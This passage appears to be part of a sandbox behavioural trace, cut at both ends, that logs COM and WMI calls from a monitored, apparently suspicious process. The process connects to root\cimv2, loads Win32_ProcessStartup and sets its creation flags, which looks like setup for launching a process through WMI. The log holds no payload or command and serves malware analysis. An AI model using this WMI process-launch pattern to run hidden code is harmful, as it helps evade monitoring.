[3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0065.214] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0065.214] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0065.214] IUnknown:Release (This=0x111f638) returned 0x1 [0065.216] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bf3e7a0) returned 0x0 [0065.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3e7a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0065.216] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3e7a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bf3b400) returned 0x0 [0065.216] WbemDefPath:IUnknown:Release (This=0x1bf3e7a0) returned 0x0 [0065.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bf3b400) returned 0x0 [0065.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0065.216] WbemDefPath:IUnknown:AddRef (This=0x1bf3b400) returned 0x3 [0065.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0065.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0065.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x11f8f90) returned 0x0 [0065.217] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8f90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.217] WbemDefPath:IUnknown:Release (This=0x11f8f90) returned 0x3 [0065.217] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0065.217] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0065.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0065.217] WbemDefPath:IUnknown:Release (This=0x1bf3b400) returned 0x2 [0065.217] WbemDefPath:IUnknown:Release (This=0x1bf3b400) returned 0x1 [0065.217] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0065.217] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0065.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bf3b400) returned 0x0 [0065.217] WbemDefPath:IUnknown:AddRef (This=0x1bf3b400) returned 0x3 [0065.217] WbemDefPath:IUnknown:Release (This=0x1bf3b400) returned 0x2 [0065.217] WbemDefPath:IWbemPath:SetText (This=0x1bf3b400, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0065.217] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b400, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0065.217] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b400, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0065.218] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b400, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.218] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0065.218] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0065.218] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0065.218] IUnknown:Release (This=0x111f638) returned 0x1 [0065.219] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x11f9090) returned 0x0 [0065.219] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9090, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0065.219] WbemLocator:IClassFactory:CreateInstance (in: This=0x11f9090, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x11f90b0) returned 0x0 [0065.219] WbemLocator:IUnknown:Release (This=0x11f9090) returned 0x0 [0065.219] WbemLocator:IUnknown:QueryInterface (in: This=0x11f90b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x11f90b0) returned 0x0 [0065.219] WbemLocator:IUnknown:QueryInterface (in: This=0x11f90b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0065.219] WbemLocator:IUnknown:AddRef (This=0x11f90b0) returned 0x3 [0065.219] WbemLocator:IUnknown:QueryInterface (in: This=0x11f90b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0065.219] WbemLocator:IUnknown:QueryInterface (in: This=0x11f90b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0065.219] WbemLocator:IUnknown:QueryInterface (in: This=0x11f90b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0065.219] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0065.220] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0065.220] WbemLocator:IUnknown:QueryInterface (in: This=0x11f90b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0065.220] WbemLocator:IUnknown:Release (This=0x11f90b0) returned 0x2 [0065.220] WbemLocator:IUnknown:Release (This=0x11f90b0) returned 0x1 [0065.220] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0065.220] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0065.220] WbemLocator:IUnknown:QueryInterface (in: This=0x11f90b0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x11f90b0) returned 0x0 [0065.220] WbemLocator:IUnknown:AddRef (This=0x11f90b0) returned 0x3 [0065.220] WbemLocator:IUnknown:Release (This=0x11f90b0) returned 0x2 [0065.220] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b400, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0065.220] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b400, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0065.220] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b400, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.220] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x11f90d0) returned 0x0 [0065.221] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11f90d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf53780) returned 0x0 [0065.280] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53780, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bef0730) returned 0x0 [0065.280] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef0730, pProxy=0x1bf53780, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0065.280] WbemLocator:IUnknown:Release (This=0x1bef0730) returned 0x1 [0065.281] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53780, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bef0770) returned 0x0 [0065.281] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53780, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bef0730) returned 0x0 [0065.281] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef0730, pProxy=0x1bf53780, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0065.281] WbemLocator:IUnknown:Release (This=0x1bef0730) returned 0x2 [0065.281] WbemLocator:IUnknown:Release (This=0x1bef0770) returned 0x1 [0065.281] CoTaskMemFree (pv=0x1bf3cef0) [0065.281] WbemLocator:IUnknown:AddRef (This=0x1bf53780) returned 0x2 [0065.281] WbemLocator:IUnknown:Release (This=0x11f90d0) returned 0x0 [0065.282] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0065.282] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0065.282] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53780, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bef0740) returned 0x0 [0065.282] WbemLocator:IRpcOptions:Query (in: This=0x1bef0740, pPrx=0x11f9130, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0065.282] WbemLocator:IUnknown:Release (This=0x1bef0740) returned 0x2 [0065.282] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0065.282] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0065.282] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53780, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf53780) returned 0x0 [0065.282] WbemLocator:IUnknown:Release (This=0x1bf53780) returned 0x2 [0065.282] SysStringLen (param_1=0x0) returned 0x0 [0065.282] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b340, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0065.282] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b340, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0065.283] IWbemServices:GetObject (in: This=0x1bf53780, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bf45080, ppCallResult=0x0) returned 0x0 [0065.298] IWbemClassObject:Get (in: This=0x1bf45080, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0065.298] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0065.298] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0065.298] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0065.299] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0065.299] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0065.299] IUnknown:Release (This=0x111f638) returned 0x1 [0065.300] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x11f90d0) returned 0x0 [0065.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f90d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0065.301] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f90d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bf3b4c0) returned 0x0 [0065.301] WbemDefPath:IUnknown:Release (This=0x11f90d0) returned 0x0 [0065.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bf3b4c0) returned 0x0 [0065.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0065.301] WbemDefPath:IUnknown:AddRef (This=0x1bf3b4c0) returned 0x3 [0065.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0065.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0065.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x11f90f0) returned 0x0 [0065.301] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f90f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.301] WbemDefPath:IUnknown:Release (This=0x11f90f0) returned 0x3 [0065.301] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0065.301] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0065.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0065.302] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x2 [0065.302] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x1 [0065.302] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0065.302] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0065.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bf3b4c0) returned 0x0 [0065.302] WbemDefPath:IUnknown:AddRef (This=0x1bf3b4c0) returned 0x3 [0065.302] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x2 [0065.302] WbemDefPath:IWbemPath:SetText (This=0x1bf3b4c0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0065.302] IWbemClassObject:Get (in: This=0x1bf45080, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad4908*=0, plFlavor=0x2ad490c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad4908*=19, plFlavor=0x2ad490c*=0) returned 0x0 [0065.302] IWbemClassObject:Get (in: This=0x1bf45080, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad4908*=19, plFlavor=0x2ad490c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad4908*=19, plFlavor=0x2ad490c*=0) returned 0x0 [0065.302] IWbemClassObject:Put (This=0x1bf45080, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0065.302] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0065.302] 